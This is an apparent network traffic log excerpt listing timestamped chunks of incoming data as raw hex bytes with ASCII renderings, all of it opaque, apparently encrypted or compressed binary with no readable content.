2022-08-04 11:37:02 UTC	18	IN	Data Raw: bb 64 6b d6 80 ae c1 b0 6c e5 c9 a4 24 49 38 b9 96 72 0e cc b8 dd 43 a5 fb b4 46 a5 a3 63 78 12 d9 f2 05 9f 1f 63 0f 0d d1 93 14 48 d8 87 37 7f a7 9d 21 f9 d1 76 fe 3f e5 3d a9 c9 28 e2 2b 16 28 0d 89 cd 16 70 cf f0 5b de e0 20 96 eb 9b 60 4f f4 5f e9 78 25 6b dd 04 a1 72 2d ee dc 5e 22 aa 0b 5b 01 6f ae 84 8d c6 f6 a8 43 96 b4 80 b4 b1 8f 60 0d 97 43 53 0f f3 c7 03 c7 77 35 e5 f6 70 e8 f9 26 74 4d 68 b0 6b ea 3a de a2 03 c3 b5 2f 22 b5 ce f3 38 4e 96 07 35 ba af 93 4b ff 8b 10 2f 42 58 04 39 f2 0b 4d 65 bd de e3 cc 45 b9 cf 34 da 32 27 c0 67 27 7c 98 71 3f 63 ad ca 7d 7f f9 48 e9 03 d7 51 0e 40 47 2f 6e 9c 70 0d 99 b3 0b 97 5f 87 dc a0 36 a7 6f 6e 5b 58 4f 48 ef 78 f5 3f 8c 97 b4 6a 09 9f ea 28 8f 8f 6e 57 50 08 9d e5 7f c7 00 75 66 71 e5 e3 88 f7 98 68 Data Ascii: dkl$I8rCFcxcH7!v?=(+(p[ `O_x%kr-^"[oC`CSw5p&tMhk:/"8N5K/BX9MeE42'g'\|q?c}HQ@G/np_6on[XOHx?j(nWPufqh
2022-08-04 11:37:02 UTC	20	IN	Data Raw: 05 e3 7d 5e 64 66 e9 67 27 0a 60 86 64 ee cd 7a ea 0b e9 21 a0 a1 51 eb 59 13 eb aa f0 4c 05 f4 9e 5d a8 6c 05 70 5c be 73 11 8e 56 12 d8 54 96 cc 81 89 09 ae be e8 a3 52 d5 0c bc f6 79 e0 da 3d c0 37 df 5f 18 ca 9c 79 78 de 43 7d 10 d2 33 c6 2e 7a a7 1e 9e 41 bf 47 47 5d 71 7f da da 07 46 7e 68 12 ac 21 30 1e 95 73 62 9c d4 b8 93 9e e4 45 52 84 ad c7 fb 86 ad 0b 9a 83 0e 68 ce 2e bc 61 43 9e bc 74 98 44 05 2a 95 55 e6 21 26 2b b1 33 f2 0e a2 44 b6 e7 6f 8e 71 33 d4 b7 1d aa 65 60 58 67 05 b8 74 ea 96 fb a0 d6 3f 60 de a6 26 89 9a af e2 f1 8b 55 41 f9 73 97 64 ae 17 6c ba fb c0 9b dd 22 b9 ae 0e 48 06 bf 31 ba 53 47 69 ae 26 2e 0c 12 05 72 6d b6 a0 61 81 34 a4 de 35 89 4f 17 37 74 11 b8 f8 b8 4f ca 8f 45 30 59 c3 ae 16 b7 fa e6 6f 97 09 21 1f 10 76 23 3d Data Ascii: }^dfg'`dz!QYL]lp\sVTRy=7_yxC}3.zAGG]qF~h!0sbERh.aCtD*U!&+3Doq3e`Xgt?`&UAsdl"H1SGi&.rma45O7tOE0Yo!v#=
2022-08-04 11:37:02 UTC	21	IN	Data Raw: c3 5e 68 2b ca d5 a3 06 98 74 de cf 3e 4f 16 07 df 64 aa 2f 7a 71 90 a5 f3 ea eb 07 44 65 67 97 0b 78 9c c4 49 d3 4d a1 71 72 e3 59 ef 45 13 ce cb ef 19 a3 38 39 ce 24 40 02 5e 67 80 dd 93 d8 49 f1 18 0b 04 13 a3 ea 2b 2d 0e c9 88 d7 83 8b 77 7b 46 ae 66 7d 5d 21 00 40 b6 af 92 bd 4e fc 69 8a a1 41 6d 9d a8 65 08 b6 67 00 7c 87 02 09 b4 ab 6e 2b 28 ff 38 bd ad 94 d6 d3 dc ca 91 0d 0d e5 63 29 68 a5 00 0a 28 7b f7 8f 3e 3d 32 cd 55 03 3e 7a c4 03 26 1e 06 07 bf 29 8e 22 49 b8 47 88 eb 49 97 34 88 e6 e7 86 b3 cf 97 93 85 b1 e9 4a 20 d6 07 bb 97 a5 00 b0 b3 37 ef 7d 60 e1 8d 20 70 d0 40 71 d1 2d 4b 03 be 48 d8 e2 a5 e7 c6 5f 72 af 8e 9f 38 af 4b 28 66 dc 84 50 0b ce ea 81 9f ac ec da 33 a2 e8 05 2c bc 00 4b c2 69 76 09 ec 5f fc cb 5f b8 69 40 41 d3 0e 9c 6b Data Ascii: ^h+t>Od/zqDegxIMqrYE89$@^gI+-w{Ff}]!@NiAmeg\|n+(8c)h({>=2U>z&)"IGI4J 7}` p@q-KH_r8K(fP3,Kiv__i@Ak
2022-08-04 11:37:02 UTC	22	IN	Data Raw: 7a 0e a3 6d 23 06 ab 11 b9 ce b2 66 d2 c8 2b 47 ce b8 1b c4 60 db 89 72 ac e5 e1 76 4b 0e f5 16 0e 71 dc 5d ef 67 62 14 97 a6 ca 61 8f a9 37 c8 e6 41 26 18 e1 40 53 34 c6 b1 fd fa eb 82 85 ef c2 25 0e 88 e3 ee c0 ad 0e d7 4f 61 e5 91 68 af c1 7e 61 62 28 d3 2c 3b ad fd ab 17 f8 7b da 40 da d5 6a 84 87 48 fd 00 8a 97 bd fd b3 02 96 ca f6 de a9 6d 6e 1c 0f e1 8f 65 9c a7 3f 77 12 14 95 f1 ab 7d 8d 93 0e 83 ac 9e 11 e8 82 43 65 4c e1 32 2b 21 d9 30 1c d3 96 6a f2 44 c2 96 dd 40 73 06 b1 40 7e 7d 91 a9 4a 18 85 ad d9 51 70 40 94 e6 24 00 ae 41 af c9 92 43 86 f8 53 31 9b 5e ee 74 97 f5 a2 13 ad 45 0c 7f 9f 9f 89 37 99 db 81 f1 bc 94 ae 20 ca 94 31 d8 11 8d 05 37 a0 13 0f ca 7a 9b 2a c3 98 4a a2 db cc 81 9d 40 78 f2 17 3d 59 8b 1a c3 83 95 cd 58 4d 61 1c 12 a4 Data Ascii: zm#f+G`rvKq]gba7A&@S4%Oah~ab(,;{@jHmne?w}CeL2+!0jD@s@~}JQp@$ACS1^tE7 17z*J@x=YXMa
2022-08-04 11:37:02 UTC	24	IN	Data Raw: 96 65 1c 80 49 89 3e 43 71 e9 d8 18 de 25 84 df 8c cc c1 91 56 da 6c fe 1c dd 28 10 05 d8 20 fa 35 6f 6b d2 96 3b e7 9e 97 e4 07 00 44 66 c2 2a a3 3a 81 43 cc c8 c6 85 59 66 23 62 ee 65 24 f0 55 3f bb 8b 1a 43 65 3c 9f b0 5c a1 f0 7f 80 f5 72 a6 35 c3 04 44 51 94 87 dc 19 a2 7a 18 cf bc 8f 80 85 ed 77 bb 72 09 40 0c e6 32 66 b5 ce 68 67 37 ca d6 96 c7 02 c5 f6 0b 77 f6 02 6d f3 dc 97 5d df e8 9b 5a cf fc 27 dd ca 1b b7 f2 2c 12 2f df 21 a1 c0 ce ea 84 57 09 3b f6 f3 96 5e 7d c9 51 0d e3 ea 93 2b 5e 49 c8 74 1b dc cf 49 89 77 e5 25 1b 86 16 8f 7f c7 01 4c 29 68 ce b1 cb 85 b9 55 1c 87 7e 8a 65 20 a7 b6 43 08 ae 19 74 42 df 67 61 ec b6 fb 1b 81 8b 65 46 d7 e0 59 4c 6f a0 1f e2 b1 47 ba 39 5e 72 18 54 9f 04 63 e2 ad 01 13 fd 19 af 72 12 a2 d5 8c fd 0c ec 77 Data Ascii: eI>Cq%Vl( 5ok;Df*:CYf#be$U?Ce<\r5DQzwr@2fhg7wm]Z',/!W;^}Q+^ItIw%L)hU~e CtBgaeFYLoG9^rTcrw
2022-08-04 11:37:02 UTC	25	IN	Data Raw: 69 31 84 9b ce 1f 40 13 18 17 70 95 c1 44 ad e1 4f e0 b2 ef 71 49 07 d4 4a 6e 51 76 90 49 ca a2 61 29 04 41 b9 18 2f cd 95 46 e2 ef d9 b2 e2 e7 ef b8 eb 18 0f 87 63 10 70 3f ed 9c 1c 7b 30 6f fd 9c 33 86 4a 91 58 97 6a 44 60 c7 73 c1 a3 bb 6f 73 7a f7 d2 15 84 74 52 c0 81 34 be 81 63 9f 12 f7 af cf dc d5 83 a6 cd 08 c4 77 49 01 8e 47 c8 59 c3 27 67 b8 76 c3 6d aa 0b 63 15 19 b4 d7 3f c0 ff 66 cd 08 3e 08 16 84 b9 f8 58 68 08 51 ae 03 f0 d7 98 76 77 df 5d c4 73 21 3d 7b 10 6f 1d 9c 89 a7 c8 39 90 42 03 04 04 4f 0d 87 c3 17 03 6b ac 16 e3 81 33 9f 48 f4 af bf dc 93 83 bc e9 0b e2 97 5d 01 f0 6f bd 9d 89 47 cf 59 4b ea 8d 33 fa 8f df 01 c9 4b 05 53 d8 99 7c 45 d2 fb fc 4a e2 78 7e 95 c3 8f c6 06 ca 76 c6 0c 1c 87 35 88 21 23 bb 16 12 2d 77 3f c3 d9 be e6 3f Data Ascii: i1@pDOqIJnQvIa)A/Fcp?{0o3JXjD`sosztR4cwIGY'gvmc?f>XhQvw]s!={o9BOk3H]oGYK3KS\|EJx~v5!#-w??
2022-08-04 11:37:02 UTC	26	IN	Data Raw: 44 e0 4e ac 90 b4 83 5a cd 46 a8 7c 1a 97 eb e6 78 4c b8 cc eb ba c9 71 84 c5 f3 b9 ea a3 92 78 b6 a8 fb 85 84 42 25 41 5f 7e 51 cc 20 28 2d e9 53 fa 41 9e 3c 42 d2 5d 8c 4e 33 5d 7f 56 9a c2 b9 b7 76 da 61 25 45 40 f5 c7 fe 1c 04 e3 fb de 67 25 af af af be 79 2b f3 6b 1a f5 59 cc 8e 05 2f 2a 66 ca b3 7f e4 7e 71 12 98 75 53 73 17 aa 6e dc 43 9c 36 92 1d 0b 11 32 4a 7e 18 1a 60 e8 15 5f 5c 05 cb 07 cc 4a 5c 5f 97 3d c9 71 51 e4 d1 6f 4e 5c ff 2f e8 a3 b9 25 7e 14 4e d4 f9 0e 36 09 7b 3c c4 e1 6d 92 75 f1 e3 3d 73 d5 9b a6 3e f0 83 b4 21 e8 6b 86 2d 2b 3c a8 7b c3 df 5a 90 ed 91 b6 da b5 bb 2d 21 ee 2c 43 7f f0 49 17 48 e7 8e 9e 89 0e 0b 43 4f f6 bd c9 a9 20 61 33 5f cc 6d e6 dd d9 4a 26 b6 29 23 b7 3f 57 59 c6 9e 69 ec c5 de bb 4a 43 df 9e 6f f6 61 4e 74 Data Ascii: DNZF\|xLqxB%A_~Q (-SA<B]N3]Vva%E@g%y+kY/*f~quSsnC62J~`_\J\_=qQoN\/%~N6{<mu=s>!k-+<{Z-!,CIHCO a3_mJ&)#?WYiJCoaNt
2022-08-04 11:37:02 UTC	28	IN	Data Raw: f3 a2 a5 44 bf fc 16 52 6f 85 ce e7 7f 3c 36 9c f6 bf c4 28 fd 62 da 85 1d fa db 7a 27 1e c0 70 13 58 eb 7e 51 85 1f 97 69 c5 2a d9 eb ce d5 7d 92 f2 9c 68 87 1e c5 9d c9 3f e5 00 c0 fd cf 94 3f 66 33 2e 1d 47 bc eb af fd f0 74 71 ac f7 dd 73 9a 8a c6 76 33 ac 03 1b 37 a8 19 a2 17 6f 46 a2 47 a3 7f 53 6f 80 ab 9c 5c a0 c5 6c 67 bf 18 e8 9e b4 7e 23 74 95 8f fa 3d 7c 73 28 9f 4d b9 d6 86 77 50 e8 78 0c 2c 5d 67 52 3e f9 28 bb 3f 9f 8e 64 09 a9 2b bc c3 a7 9f 93 08 fa dd a8 5b d3 30 2b ae 10 62 8a 01 c9 c3 a0 1b 04 17 9c f0 90 f2 dd 40 ca fc a8 0a e8 67 2d 54 d2 96 fd 65 49 82 5f 15 d8 b7 8c fd a3 8a ac 8b 1d 07 c3 81 d2 46 ea 8c 76 78 15 1a 8f 25 7d cd af 8d 00 61 52 58 ea d3 16 de 1a 80 c1 e2 05 aa 66 b7 bc e0 4e 91 6d 56 76 cc d9 05 d3 4c 36 31 24 57 e6 Data Ascii: DRo<6(bz'pX~Qi*}h??f3.Gtqsv37oFGSo\lg~#t=\|s(MwPx,]gR>(?d+[0+b@g-TeI_Fvx%}aRXfNmVvL61$W
2022-08-04 11:37:02 UTC	29	IN	Data Raw: ec c1 69 b6 33 44 44 f3 84 59 ec e0 02 b7 a1 aa 69 b0 e1 00 c3 b7 a5 ad 2d 46 66 ba 54 d1 21 78 8e b5 66 40 a5 12 d2 50 49 9d d3 13 1b e1 4a 04 ab dd 08 32 e3 c0 ae 11 c7 5d 01 b2 d6 25 b3 33 aa aa ca 4b 7c 55 c4 33 4e 03 1a 5b 95 0e 35 78 6a 66 1b 24 2e 9f a7 13 5c ad 43 c3 e1 a4 b0 c7 34 01 2c 98 02 60 ad 0f e7 c4 c3 f7 bf 2b 30 e6 ad e1 25 53 36 2c 04 a6 bd fd 27 bd a7 c9 64 c0 cc c7 17 af 8a 03 b5 d8 9f 40 ab 4c 83 e2 d7 25 0f 3d 38 48 9f c6 96 0f b7 b6 3f c2 bb de 2f 79 6f cf e6 6f 96 7c c0 f4 2b 34 b5 33 37 05 4c 83 8d 46 be 69 b6 2a d2 cc c8 27 e8 6f 7f fd a0 4e 17 da fb db ee a4 9a c0 17 ad 28 ce 1c be ca 50 bb 7d e7 67 3e e7 21 39 0a ba 7e 33 50 22 40 cb 7f ff c4 4f c3 99 44 7f da 86 fe 09 04 59 a4 31 dd ce b3 ea 27 98 99 0e b6 f3 e1 1d 9e e9 3c Data Ascii: i3DDYi-FfT!xf@PIJ2]%3K\|U3N[5xjf$.\C4,`+0%S6,'d@L%=8H?/yoo\|+437LFi*'oN(P}g>!9~3P"@ODY1'<
2022-08-04 11:37:02 UTC	30	IN	Data Raw: 54 c6 d8 e8 37 4b e2 bf ae bc 4e 05 83 36 c3 35 b7 58 55 44 ea 52 ab c5 9a 7e e4 7b 9b 1a ae b3 ae ab cf 29 a0 69 fd de 05 50 c1 0a 0e 00 9e 1b 76 f6 8f 76 65 e3 e7 7f 77 0a 5c 6f c3 7d ac 47 ad 2e f1 ca 17 2d fd 94 68 87 19 0c ad db ab 18 1a 0e 18 23 df 5f 5d 72 01 0e 6d 23 27 4c c2 58 f2 47 ac 13 c7 1b 79 89 60 a4 ea 6f df 4e b6 ff b2 d8 fc 31 6b e2 a5 8a 59 59 0c 7f fe ba a8 89 77 4a 86 a2 8a 42 ee bb a9 61 b2 b7 b0 ed 3b 42 8b 45 23 62 56 b4 94 97 3b 26 bb 68 c7 f8 c9 41 40 8f 17 a7 9b f7 d3 2b a4 e9 f2 00 a9 06 c8 a6 5e f1 ed f4 a4 ce 5f 1e 72 1a d1 96 ea 1e 08 95 a8 01 cf 32 d3 fa 23 66 1c 9b e1 a5 ce a4 8a fb e9 96 2a 45 df ac 68 ea 68 a0 9c 06 4c 20 af e8 b7 a9 fb a8 79 6d 64 68 39 cf 51 43 24 d1 4a a4 d6 0f fa ac d4 e8 2b 4a eb 10 2a 63 0c 71 68 Data Ascii: T7KN65XUDR~{)iPvvew\o}G.-h#_]rm#'LXGy`oN1kYYwJBa;BE#bV;&hA@+^_r2#fEhhL ymdh9QC$J+Jcqh
2022-08-04 11:37:02 UTC	31	IN	Data Raw: 20 2c 37 12 e2 b9 d7 ea 4a 53 80 8d f0 e5 a5 c8 29 c3 40 88 91 f2 3d e7 92 4f 58 15 5e ef 6f 28 d4 53 2b 90 d3 80 53 9e 7b 1a bc e1 43 1f ed c0 e3 5c eb 65 34 65 ff 8d e5 d7 e8 82 77 8f 78 40 4d 60 5d 9d 81 c3 2a 65 30 4b b3 5d 7c 7f 32 35 7b cf 75 a2 b1 ef de 69 b7 af 4d a5 f7 5c 72 9e d0 d1 e7 d5 44 14 e9 bd 17 23 ce c0 c0 e2 dd c9 f5 ee f6 0f 79 92 41 ad 8a 2d 18 1b 03 b0 fb a1 5d 1a 93 0c 07 48 71 a6 36 9f 51 e7 17 ca 6f 78 7e de c7 e3 01 5c 9d 2a 03 ed 94 51 73 a8 df 6a 1a a4 06 0e 27 2d ae f6 8d da 8d ee 04 93 f7 7c 3d f7 17 d0 01 f2 33 72 a4 5e 94 d5 c9 33 80 80 d9 22 07 12 68 50 9f 24 50 8c 18 61 64 bb 8f 7c d9 b3 e6 65 48 d3 c9 23 af 87 d0 c9 59 0e f5 6b 20 4a 64 b6 7e ad df 0b ff 78 25 f6 5c fc 27 4e cc 47 8a fd bc 73 d1 f7 dc 80 d0 93 81 27 be Data Ascii: ,7JS)@=OX^o(S+S{C\e4ewx@M`]e0K]\|25{uiM\rD#yA-]Hq6Qox~\Qsj'-\|=3r^3"hP$Pad\|eH#Yk Jd~x%\'NGs'
2022-08-04 11:37:02 UTC	33	IN	Data Raw: 88 05 2c 56 5a d0 d7 4d 15 95 d5 8e a2 42 b4 f0 fa 3e 9f 21 2e 3a 6d c9 d9 c0 e9 b5 8d 00 cd 2a d4 59 5a f7 b9 38 35 91 2c 37 01 62 48 18 a8 70 37 03 d5 9f cd 33 ad 5f d7 06 9a df 3f 73 76 78 ca f1 a2 8b 8f b2 11 98 19 32 ad 88 8e d5 d0 f3 e3 2a 79 23 7a 58 4e a0 f5 66 9d 57 92 80 cf e4 c2 27 c8 a1 f7 57 c9 4f bb 44 86 a2 78 c5 ef 36 2b 0b c8 b5 7f f6 98 9c 7e 7b c9 cb 01 bf 06 a4 33 dd 97 cc 13 66 53 08 d3 71 10 3d 9f 5b b7 e7 19 23 a7 99 5c 43 8c dc 24 59 e9 1a 89 19 0a 6e c1 58 94 45 ad 12 8d 4c 7c c0 3a 36 7c c2 47 e8 06 b8 87 0b 44 26 5d e0 6d 77 d7 93 49 30 20 30 ee bf cd d0 34 6e dc f7 0c 26 cd 73 b3 0b 44 2d ff c6 ac 79 d2 91 92 dd 9a 0c 81 88 43 ae 8b 5b ce 27 d6 53 cb 75 38 37 4e 51 24 64 39 b8 ea 69 a0 80 f2 ab 09 27 3a b9 07 85 18 34 e9 52 1d Data Ascii: ,VZMB>!.:mYZ85,7bHp73_?svx2y#zXNfW'WODx6+~{3fSq=[#\C$YnXEL\|:6\|GD&]mwI0 04n&sD-yC['Su87NQ$d9i':4R
2022-08-04 11:37:02 UTC	34	IN	Data Raw: f1 52 1e b8 ff ee e3 fd 19 4e ee ed 15 c7 21 62 ee 67 6d ef f1 68 c5 d8 1e ad 17 5b 84 a7 01 19 13 65 c6 fd 71 bc 65 ab 60 12 de bb 1b db 96 51 c7 80 0f 16 da 60 3a 48 cf b0 0b 5e 4c a0 f7 dc 9b 0d 72 80 11 e1 07 f3 d7 7a 66 16 72 f2 2b a1 b0 9b 61 c8 65 9a 00 c4 86 25 80 c2 66 12 e0 f2 31 a0 d9 67 10 a3 ff 5a 7b bc cd 53 fa 73 ec 9e 57 4c ae 83 91 75 e2 de e7 c3 1a 53 cb e5 9e 97 c5 e0 56 c0 8b 76 57 c3 1b 24 c4 02 9f e7 80 98 8d 88 5d c8 97 5b 2f ff 87 14 7b 10 30 9e 69 5f 6b 8e 1a 66 d1 79 14 a5 8c f0 1a cd d9 0b 4b 5e ea a5 48 b5 2f 5a e7 89 76 f3 ba 58 9e 0d 48 fd 41 9e ba 8f 55 2c 5c 63 0e 16 84 51 30 34 bc 04 f7 ad a0 83 be 6c 59 a7 9d 04 35 bf 5b 4c ac 43 85 49 46 53 d4 16 96 c9 36 af ba 91 33 ea a9 60 d1 00 52 fe b0 2e 50 ad 43 4a 02 20 4e df 58 Data Ascii: RN!bgmh[eqe`Q`:H^Lrzfr+ae%f1gZ{SsWLuSVvW$][/{0i_kfyK^H/ZvXHAU,\cQ04lY5[LCIFS63`R.PCJ NX
2022-08-04 11:37:02 UTC	35	IN	Data Raw: e6 2b 97 6d a8 26 0b 47 95 98 c9 06 a9 3f 67 91 fa c0 36 9d 3e 7d 88 33 62 75 e8 de d5 1f 28 98 a0 d8 92 6e 68 2b f0 62 e6 2c 33 aa 6e 2f 17 2d 3f 12 cf b9 ea 80 86 e0 28 f5 c0 70 8a 45 fc e8 b2 4c cf bb ac 5b 91 c4 8d 31 d0 d9 23 66 7d a2 e8 c9 2b 27 7c 72 30 14 68 32 c4 0c 9c 17 8c b7 7f 18 0d 95 db 2e 37 93 b7 23 c9 a5 cd 32 f9 0d e2 cf a2 60 5c 40 7c 57 4c ed 68 75 2c 55 6c bb d1 da ec 09 41 2d 3b 99 db 21 24 82 30 bb f3 98 c7 d4 f9 bf 26 cc 3d c6 a7 98 17 bf 3b 5d f1 66 95 59 80 bf ce d6 cb c2 91 bb bf c6 5b 16 92 27 25 fd b4 b9 68 f3 fe ed e3 68 49 23 6e 73 3a 6d 98 7d 11 f1 db 66 8c c8 17 ac fa 1e 8a e6 ca dc f4 cb 5e f4 ff 06 39 96 a1 2e f8 4b a2 ae b0 47 93 0a aa e4 39 03 f6 f8 7e a9 9a 0b 32 12 78 03 4d 11 8f 02 8f 37 fd 9f ed 9b ba c1 59 48 95 Data Ascii: +m&G?g6>}3bu(nh+b,3n/-?(pEL[1#f}+'\|r0h2.7#2`\@\|WLhu,UlA-;!$0&=;]fY['%hhI#ns:m}f^9.KG9~2xM7YH
2022-08-04 11:37:02 UTC	37	IN	Data Raw: 3c 4a 93 a2 03 fc 25 a5 69 ec a4 1c b4 ee 1e ab b9 bb de 9c 41 b7 88 7a 03 1c cb f6 8c 43 37 65 b0 43 57 84 17 79 38 10 9b e0 27 04 ca b3 6c 05 d9 98 f4 b8 ac f3 2b 66 d0 93 1a c0 d7 9e b8 2b c0 c1 3e c5 03 31 5e 81 c1 bf e5 ea 12 4d c4 ba 9d fa 70 df 41 1b 1e f6 a4 ec 03 30 c9 1e 75 06 13 40 91 04 c1 c3 18 49 54 86 4e 22 58 c7 96 9c 82 c4 04 21 75 16 46 bb 98 87 7f c4 01 df 69 b0 8c e4 e7 93 2a c4 7a 61 5b e5 9a 2b 85 9a 96 ed 21 7c e2 94 0b db dc 64 80 64 91 ae 20 ec 5f 22 f0 75 a5 e0 98 f1 25 03 62 d0 81 94 82 4f 63 55 8f 89 0f 5f 11 77 c1 87 34 87 77 8a 71 fb 1f cf 11 e0 2a 98 84 f3 6f 78 60 7f 7e 59 1d 6c 2c ad 1c 28 2b 3a aa 47 24 93 08 a3 47 c4 e6 e9 8e cd b3 7b 48 6e c8 3f 04 79 b1 7e 78 fa d5 e9 9a 5d c0 e8 66 6b 4e 2e 01 86 60 13 87 25 4a f4 4f Data Ascii: <J%iAzC7eCWy8'l+f+>1^MpA0u@ITN"X!uFiza[+!\|dd _"u%bOcU_w4wqox`~Yl,(+:G$G{Hn?y~x]fkN.`%JO
2022-08-04 11:37:02 UTC	38	IN	Data Raw: d6 bd 16 a2 33 92 a0 76 9c 3e 95 83 d0 9d c1 6f e7 42 05 98 ee 27 58 15 3c 1b a7 9e be 67 99 65 6c c8 51 2a ad f8 85 d0 cf 97 fa 18 10 83 7b 6a 4d d7 89 08 fa f0 9b 29 a4 a7 af 0b 41 67 9d 81 04 86 9f a1 2b 8d c5 72 e2 20 af d6 3b 68 97 f2 e9 f9 d7 ad f6 56 22 48 c7 74 da 60 59 9a e3 86 ec 44 e9 79 44 2c 68 4d 33 80 30 4c 36 db c7 42 77 02 f6 d9 23 61 b0 ab 08 35 f3 0f 7f 62 9d 79 f5 46 83 f0 3e 6c 26 48 4a 1f 6a 29 f0 ca 1e fc e1 d9 05 be 7f be 8d 0f 93 41 c1 07 c8 36 a6 18 10 5f 83 ec 72 bd 46 43 0c 9a ce 8f e6 d7 ab 4c c1 1a 94 0b 8c 7e 5e 9f f6 9e a2 95 41 07 e3 62 de 94 b6 18 40 67 a1 c8 f5 be 7f 27 4f 3d e5 03 6c c4 6f 44 47 5e 9d 40 54 4f 11 5b 2b d0 dc 47 63 54 e5 19 55 24 29 2a ce cd 6a 55 f0 5f 05 52 52 e5 1e 95 23 5e 1e 19 cc 10 c5 41 c8 19 06 Data Ascii: 3v>oB'X<gelQ{jM)Ag+r ;hV"Ht`YDyD,hM30L6Bw#a5byF>l&HJj)A6_rFCL~^Ab@g'O=loDG^@TO[+GcTU$)jU_RR#^A
2022-08-04 11:37:02 UTC	39	IN	Data Raw: 95 d7 db ae 06 df 61 57 ff f3 14 eb 33 de 61 05 c1 01 4a a9 65 92 32 ad 23 5d 51 6a a5 0f 64 8f 77 b9 ab 83 a2 59 2f a3 42 44 2c 7f 4e d4 eb db 65 a5 4b c5 b1 8d 6f b9 79 d5 8c bd 4f d4 bc f7 31 c8 20 9f 4e 9a f3 b3 90 f4 20 cd e2 c5 15 90 44 3e 3d 2e 7d 36 6a 6c b6 6c f0 a0 ae 9c 49 80 c8 b5 22 e2 b3 6e 67 57 8f 47 8c 0d 4f 28 a3 eb 30 fc 7a f2 30 57 63 54 56 86 0c 32 bc 8e 72 14 f4 1c 5c 61 bf 4b 8a bf 68 be 8a 56 9f 79 7d e7 86 c6 b9 a3 ed 78 4b 28 ae d0 55 8a f4 35 ba 8e 3e bc 32 b5 6d d3 04 b7 5e ec db 4c 3a c5 4f 1b 1c d0 ec 03 28 ea 15 13 ce 7d 0b 07 2a b0 39 05 79 54 4d fc 4f 15 3f b4 ba 26 84 be 07 45 35 85 f1 6d d0 ed 1e 6d e8 c0 97 ee c1 ff 11 8f 18 93 0f d7 7a 8a 17 dd 40 6c 9d ae e9 f2 be df f9 e1 16 cf c9 2a 91 1c 7e 43 61 0d 23 fd b7 c3 8b Data Ascii: aW3aJe2#]QjdwY/BD,NeKoyO1 N D>=.}6jllI"ngWGO(0z0WcTV2r\aKhVy}xK(U5>2m^L:O(}9yTMO?&E5mmz@l~Ca#
2022-08-04 11:37:02 UTC	41	IN	Data Raw: dd 00 f8 87 bc a7 43 c7 49 cb 93 4f c1 02 99 32 f4 18 d1 ef cb aa 0a 6e 05 f2 f2 fb a1 28 88 b1 f4 1a 16 37 77 34 c3 93 04 01 90 3e e6 c6 24 e2 0c ef e3 ff e0 49 d1 be 93 44 16 63 be 17 08 84 1f b9 83 97 8f 43 00 5a 68 8c e5 bf 8b 55 8c 5d 25 8b b9 73 2b d0 f4 bf 38 49 ee b7 a3 11 47 57 7e 98 ac 2e 2b e9 f5 1f e3 a4 d3 17 6d 4c f8 75 5d 66 e9 84 23 e8 b4 0e ff 3d f7 09 c0 d1 90 9d 1d 47 fd 1a a3 08 20 b2 26 4b 9d 88 15 1c f8 bf a0 55 c0 d6 bb 42 22 9d b5 c4 ef d4 66 7c e5 e3 68 62 4c 4a dd f0 0a 20 26 88 cd 1d ae 0f ca 85 d5 60 4e da d0 af 49 59 09 8f 7c d7 da f1 a8 97 67 03 be 30 27 84 81 b7 9f 88 0f 15 c6 6b 28 2b 15 68 78 5f f5 88 ec 3d d2 99 72 97 fc 80 c4 97 21 18 b1 7f d7 22 8a 03 80 81 ed 9f dc 80 d0 7f f3 a9 57 c7 70 34 ff 37 a5 24 be 37 69 36 ac Data Ascii: CIO2n(7w4>$IDcCZhU]%s+8IGW~.+mLu]f#=G &KUB"f\|hbLJ &`NIY\|g0'k(+hx_=r!"Wp47$7i6
2022-08-04 11:37:02 UTC	42	IN	Data Raw: 49 39 78 48 57 c3 cb 19 72 ee 96 dc 1c 06 bf 27 fb 85 44 fd 4d e6 55 bc 40 bf 47 fa c4 23 cc 0f 08 35 62 4d fb fe 00 ec 18 0e 7b 23 d7 b4 a3 00 9a d8 77 94 7a 27 98 9c b6 c3 1f f4 43 f3 ad 87 0d 3f d1 42 d0 c1 2d f6 09 e3 0c 4d 4d a2 72 01 9f 85 2c 37 9e a6 75 d6 c2 6e 0c 56 7a 0e 70 8b 83 c8 d3 85 9f ff 7b 38 2d 6b 73 87 47 4c 8f e5 18 4f 37 8d 6b 97 13 d2 04 33 74 03 7d e2 67 ee ad 3a 03 2b 4f 5a 40 33 16 7b 28 de 5c 34 3c ee 98 4d 34 bd 01 cf 5d d2 41 07 10 33 ec 00 4f 5d 8d c3 bd 7b b0 f2 b3 a9 66 e0 da 05 f5 8a 16 9a c5 5e 86 75 00 31 4f 9c 22 cc 5e f3 16 1b 12 a9 51 92 b6 57 e8 50 dd 97 a0 e8 fb a5 20 73 76 ae b4 24 f0 cf 8a 57 97 04 a4 42 d7 b2 95 4b f2 01 7a 8a bf b6 2f fd d7 c1 81 8d 46 3d 43 56 58 65 65 ee 97 78 fa d1 6a c4 d4 ef e2 94 9c 4f 54 Data Ascii: I9xHWr'DMU@G#5bM{#wz'C?B-MMr,7unVzp{8-ksGLO7k3t}g:+OZ@3{(\4<M4]A3O]{f^u1O"^QWP sv$WBKz/F=CVXeexjOT
2022-08-04 11:37:02 UTC	43	IN	Data Raw: 32 3c 2b f0 ba 28 03 16 98 47 ec 3a 41 08 6a 33 d9 6d a8 19 bc 4c b8 53 d1 1f 2d 4c b5 86 08 ee fe 7c 5a 69 13 c5 d3 a3 ef f3 e5 1e 4a 43 dc 52 21 b8 6e b1 f4 89 a9 53 39 11 40 bf b1 23 54 a0 6b 98 5b 0a a9 bf 93 70 56 9d 03 c3 93 24 89 a4 e6 0f e1 47 78 e4 37 b9 2c 35 1d 88 97 98 0d a2 9d 22 e5 19 bf 9b 6a 33 c0 97 4e 62 75 e2 f9 3e 27 78 f9 47 c5 70 2d 09 44 77 90 cd 63 ce ac 7f 50 60 ee 19 c8 17 49 14 2e 98 83 6b 8e e4 59 88 f2 70 c7 19 c8 a0 2c 84 e4 c3 a6 6f a3 d3 04 10 4b 1d 4f 41 18 43 9e 6f 4c 96 ac 37 0e 14 ab 39 75 64 5e 44 97 8d d1 4b bf 61 9d 1b 28 64 b5 63 91 96 b5 02 7c 4f 97 3a 01 df e8 e6 29 73 4f 76 b3 27 e0 6b 91 cc 09 63 ee e7 74 45 11 8e 8a c2 d6 ba 07 c0 d2 5e 74 02 28 70 a6 f0 96 42 8f 63 85 fb 0b 67 ca 17 e1 20 ec 38 ea 1f 5f 6a bd Data Ascii: 